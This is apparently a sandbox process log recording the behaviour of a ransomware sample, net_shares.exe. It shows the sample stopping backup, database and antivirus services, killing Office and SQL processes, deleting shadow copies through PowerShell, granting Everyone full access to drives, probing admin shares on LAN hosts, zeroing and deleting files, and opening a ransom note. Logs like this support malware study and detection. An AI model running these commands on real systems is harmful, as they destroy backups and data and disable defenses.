C:\Windows\system32\net1 stop ReportServer$SYSTEM_BGC /y
3⤵
PID:2076

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$SBSMONITORING /
2⤵
PID:3064

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /
3⤵
PID:2896

C:\Windows\system32\net.exe
"net.exe" stop “Sophos MCS Agent” /y
2⤵
PID:3040

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos MCS Agent” /y
3⤵
PID:2964

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$SBSMONITORING /y
2⤵
PID:512

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y
3⤵
PID:1320

C:\Windows\system32\net.exe
"net.exe" stop “Symantec System Recovery” /y
2⤵
PID:2092

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Symantec System Recovery” /y
3⤵
PID:1752

C:\Windows\system32\net.exe
"net.exe" stop audioendpointbuilder /y
2⤵
PID:2164

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop audioendpointbuilder /y
3⤵
PID:3020

C:\Windows\system32\net.exe
"net.exe" stop AcrSch2Svc /y
2⤵
PID:340

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
3⤵
PID:3048

C:\Windows\system32\net.exe
"net.exe" stop MSOLAP$TPSAMA /y
2⤵
PID:1932

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSOLAP$TPSAMA /y
3⤵
PID:2868

C:\Windows\system32\net.exe
"net.exe" stop AVP /y
2⤵
PID:2420

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop AVP /y
3⤵
PID:668

C:\Windows\system32\net.exe
"net.exe" stop MSOLAP$SQL_2008 /y
2⤵
PID:2380

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSOLAP$SQL_2008 /y
3⤵
PID:336

C:\Windows\system32\net.exe
"net.exe" stop BackupExecVSSProvider /y
2⤵
PID:2236

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
3⤵
PID:2064

C:\Windows\system32\net.exe
"net.exe" stop UI0Detect /y
2⤵
PID:112

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop UI0Detect /y
3⤵
PID:732

C:\Windows\system32\net.exe
"net.exe" stop “intel(r) proset monitoring service” /y
2⤵
PID:2272

C:\Windows\system32\net.exe
"net.exe" stop msexchangeimap4 /y
2⤵
PID:924

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop msexchangeimap4 /y
3⤵
PID:996

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$SHAREPOINT /y
2⤵
PID:2876

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y
3⤵
PID:2940

C:\Windows\system32\net.exe
"net.exe" stop MSExchangeSA /y
2⤵
PID:792

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSExchangeSA /y
3⤵
PID:3052

C:\Windows\system32\net.exe
"net.exe" stop “Sophos MCS Client” /y
2⤵
PID:2696

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos MCS Client” /y
3⤵
PID:1340

C:\Windows\system32\net.exe
"net.exe" stop “Sophos File Scanner Service” /y
2⤵
PID:2860

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos File Scanner Service” /y
3⤵
PID:2628

C:\Windows\system32\net.exe
"net.exe" stop DCAgent /y
2⤵
PID:2744

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop DCAgent /y
3⤵
PID:2128

C:\Windows\system32\net.exe
"net.exe" stop ARSM /y
2⤵
PID:632

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ARSM /y
3⤵
PID:1816

C:\Windows\system32\net.exe
"net.exe" stop ReportServer$TPS /y
2⤵
PID:2192

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ReportServer$TPS /y
3⤵
PID:580

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$BKUPEXEC /y
2⤵
PID:1584

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$BKUPEXEC /y
3⤵
PID:1332

C:\Windows\system32\net.exe
"net.exe" stop “Veeam Backup Catalog Data Service” /y
2⤵
PID:2288

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Veeam Backup Catalog Data Service” /y
3⤵
PID:2304

C:\Windows\system32\net.exe
"net.exe" stop unistoresvc_1af40a /y
2⤵
PID:2416

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop unistoresvc_1af40a /y
3⤵
PID:2316

C:\Windows\system32\net.exe
"net.exe" stop MSOLAP$SYSTEM_BGC /y
2⤵
PID:820

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSOLAP$SYSTEM_BGC /y
3⤵
PID:2220

C:\Windows\system32\net.exe
"net.exe" stop “Sophos Message Router” /y
2⤵
PID:2124

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos Message Router” /y
3⤵
PID:2176

C:\Windows\system32\net.exe
"net.exe" stop W3Svc /y
2⤵
PID:2296

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop W3Svc /y
3⤵
PID:2500

C:\Windows\system32\net.exe
"net.exe" stop BackupExecAgentAccelerator /y
2⤵
PID:2276

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
3⤵
PID:2400

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.1\Users
2⤵
PID:2392

C:\Windows\system32\net.exe
"net.exe" stop MSExchangeSRS /y
2⤵
PID:2244

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSExchangeSRS /y
3⤵
PID:2292

C:\Windows\system32\net.exe
"net.exe" stop “Sophos Health Service” /y
2⤵
PID:2488

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos Health Service” /y
3⤵
PID:2472

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.1\A$
2⤵
PID:2496

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.1\B$
2⤵
PID:2624

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.1\C$
2⤵
PID:2556

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.1\D$
2⤵
PID:1028

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\E$
2⤵
PID:2620

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\F$
2⤵
PID:2972

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\G$
2⤵
PID:2908

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\N$
2⤵
PID:2948

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\H$
2⤵
PID:2880

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\O$
2⤵
PID:2076

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\I$
2⤵
PID:2952

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\P$
2⤵
PID:800

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\J$
2⤵
PID:2120

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\Q$
2⤵
PID:2916

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\K$
2⤵
PID:668

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\R$
2⤵
PID:1804

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\L$
2⤵
PID:1648

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\S$
2⤵
PID:588

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\M$
2⤵
PID:548

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\T$
2⤵
PID:2940

C:\Windows\system32\net.exe
"net.exe" stop “Sophos Safestore Service” /y
2⤵
PID:2628

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos Safestore Service” /y
3⤵
PID:2168

C:\Windows\system32\net.exe
"net.exe" stop BackupExecAgentBrowser /y
2⤵
PID:2128

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
3⤵
PID:1816

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$PRACTICEMGT /y
2⤵
PID:764

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$PRACTICEMGT /y
3⤵
PID:580

C:\Windows\system32\net.exe
"net.exe" stop “Sophos System Protection Service” /y
2⤵
PID:2300

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos System Protection Service” /y
3⤵
PID:2540

C:\Windows\system32\net.exe
"net.exe" stop BackupExecDeviceMediaService /y
2⤵
PID:2388

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecDeviceMediaService /y
3⤵
PID:2208

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.127\U$
2⤵
PID:1792

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$PRACTTICEBGC /y
2⤵
PID:2316

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$PRACTTICEBGC /y
3⤵
PID:956

C:\Windows\system32\net.exe
"net.exe" stop “Sophos Web Control Service” /y
2⤵
PID:2252

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos Web Control Service” /y
3⤵
PID:2176

C:\Windows\system32\net.exe
"net.exe" stop BackupExecJobEngine /y
2⤵
PID:2228

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
3⤵
PID:2500

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$PROD /y
2⤵
PID:2368

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$PROD /y
3⤵
PID:2136

C:\Windows\system32\net.exe
"net.exe" stop AcronisAgent /y
2⤵
PID:2328

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
3⤵
PID:2332

C:\Windows\system32\net.exe
"net.exe" stop BackupExecManagementService /y
2⤵
PID:2280

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
3⤵
PID:2340

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$PROFXENGAGEMENT /y
2⤵
PID:2248

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$PROFXENGAGEMENT /y
3⤵
PID:2364

C:\Windows\system32\net.exe
"net.exe" stop Antivirus /y
2⤵
PID:1172

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop Antivirus /y
3⤵
PID:2520

C:\Windows\system32\net.exe
"net.exe" stop BackupExecRPCService /y
2⤵
PID:2728

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
3⤵
PID:2576

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM mspub.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2384

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.3\V$
2⤵
PID:2420

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM mydesktopqos.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2404

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM mydesktopservice.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:340

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM mysqld.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2272

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM sqbcoreservice.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3064

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM firefoxconfig.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1512

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.3\W$
2⤵
PID:2784

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM agntsvc.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:892

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM thebat.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2200

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM steam.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2660

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM encsvc.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1996

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM excel.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2104

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.3\X$
2⤵
PID:2056

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM CNTAoSMgr.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3028

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM sqlwriter.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1128

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM tbirdconfig.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2476

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM dbeng50.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2916

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.3\Y$
2⤵
PID:2892

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM thebat64.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1620

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.18\Users
2⤵
PID:2568

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM ocomm.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3008

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM infopath.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2900

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM mbamtray.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1696

C:\Windows\system32\net.exe
"net.exe" use \\127.0.0.3\Z$
2⤵
PID:1344

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM mspub.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1648

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM zoolz.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:956

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.18\A$
2⤵
PID:964

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM Ntrtscan.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2508

C:\Windows\system32\taskkill.exe
"taskkill.exe" IM thunderbird.exe /F
2⤵
- Kills process with taskkill
PID:2260

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM dbsnmp.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2472

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\Users
2⤵
PID:2252

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM isqlplussvc.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2700

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\B$
2⤵
PID:2576

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM xfssvccon.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2688

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM onenote.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2876

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM tmlisten.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2276

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM PccNTMon.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2488

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\A$
2⤵
PID:2604

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\C$
2⤵
PID:792

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM msftesql.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3064

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM msaccess.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2704

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM powerpnt.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2156

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM outlook.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2820

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM mydesktopqos.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2980

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM synctime.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2116

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\B$
2⤵
PID:1320

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\N$
2⤵
PID:1752

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\D$
2⤵
PID:2960

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM visio.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1032

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM mydesktopservice.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:280

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM winword.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:452

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM mysqld-nt.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2916

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\C$
2⤵
PID:2984

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM wordpad.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3004

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\O$
2⤵
PID:3008

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\E$
2⤵
PID:2196

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM mysqld-opt.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1920

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM ocautoupds.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2264

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM ocssd.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2400

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\D$
2⤵
PID:900

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM oracle.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2340

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\P$
2⤵
PID:2368

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\F$
2⤵
PID:2512

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM sqlagent.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2576

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM sqlbrowser.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2384

C:\Windows\system32\taskkill.exe
"taskkill.exe" /IM sqlservr.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2816

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\E$
2⤵
PID:2084

C:\Windows\system32\icacls.exe
"icacls" "C:*" /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2124

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\Q$
2⤵
PID:1584

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\G$
2⤵
PID:2272

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\F$
2⤵
PID:2788

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\R$
2⤵
PID:920

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\H$
2⤵
PID:1512

C:\Windows\system32\icacls.exe
"icacls" "D:*" /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2492

C:\Windows\system32\icacls.exe
"icacls" "Z:*" /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2200

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\G$
2⤵
PID:2868

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\I$
2⤵
PID:760

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\S$
2⤵
PID:2184

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\H$
2⤵
PID:2904

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\T$
2⤵
PID:2948

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\J$
2⤵
PID:1456

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\I$
2⤵
PID:2908

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\K$
2⤵
PID:2708

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\U$
2⤵
PID:1776

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\L$
2⤵
PID:1620

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\J$
2⤵
PID:2168

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\V$
2⤵
PID:2592

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\K$
2⤵
PID:2224

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\W$
2⤵
PID:580

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\M$
2⤵
PID:3020

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\L$
2⤵
PID:972

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\N$
2⤵
PID:2460

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\X$
2⤵
PID:2268

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\M$
2⤵
PID:1648

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\Y$
2⤵
PID:1084

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\O$
2⤵
PID:1072

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\Z$
2⤵
PID:2648

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\P$
2⤵
PID:2720

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\Q$
2⤵
PID:2068

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\R$
2⤵
PID:2588

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.22\S$
2⤵
PID:2980

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.39\Users
2⤵
PID:2192

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.39\T$
2⤵
PID:3040

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.39\U$
2⤵
PID:2652

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.39\A$
2⤵
PID:2844

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\Users
2⤵
PID:1980

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\B$
2⤵
PID:1260

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\V$
2⤵
PID:2992

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\A$
2⤵
PID:2492

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\C$
2⤵
PID:1544

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\W$
2⤵
PID:1660

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\B$
2⤵
PID:908

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\N$
2⤵
PID:880

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\D$
2⤵
PID:556

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\X$
2⤵
PID:3056

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\C$
2⤵
PID:1456

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\O$
2⤵
PID:2160

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\E$
2⤵
PID:2908

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\Y$
2⤵
PID:2064

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\D$
2⤵
PID:1528

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\P$
2⤵
PID:1620

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\F$
2⤵
PID:952

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\Z$
2⤵
PID:2300

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\E$
2⤵
PID:1188

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\Q$
2⤵
PID:2072

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\G$
2⤵
PID:1696

C:\Windows\System32\notepad.exe
"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt
2⤵
- Opens file in notepad (likely ransom note)
PID:2440

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\F$
2⤵
PID:2500

C:\Windows\system32\cmd.exe
"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
2⤵
PID:2356

C:\Windows\system32\PING.EXE
ping 127.0.0.7 -n 3
3⤵
- Runs ping.exe
PID:1080

C:\Windows\system32\fsutil.exe
fsutil file setZeroData offset=0 length=524288 “%s”
3⤵
PID:2208

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\R$
2⤵
PID:2216

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\H$
2⤵
PID:2136

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\G$
2⤵
PID:2412

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\S$
2⤵
PID:2836

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\I$
2⤵
PID:2328

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\H$
2⤵
PID:2856

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\T$
2⤵
PID:632

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\J$
2⤵
PID:2512

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.26\I$
2⤵
PID:2700

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\Users
2⤵
PID:340

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\U$
2⤵
PID:1956

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\K$
2⤵
PID:2784

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\J$
2⤵
PID:2660

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\A$
2⤵
PID:924

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\V$
2⤵
PID:2888

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\L$
2⤵
PID:2788

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\K$
2⤵
PID:904

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\B$
2⤵
PID:2820

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\W$
2⤵
PID:1544

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\M$
2⤵
PID:2104

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\C$
2⤵
PID:1020

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\L$
2⤵
PID:3028

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\X$
2⤵
PID:1492

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\N$
2⤵
PID:2780

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\M$
2⤵
PID:2080

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\D$
2⤵
PID:2076

C:\Windows\system32\net.exe
"net.exe" use \\10.7.0.41\Y$
2⤵
PID:2592

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\net_shares.exe
2⤵
PID:864

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 3
3⤵
PID:2196

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "459276405-12352579554562502631383936751061481147-16520052601344819490-2130542768"
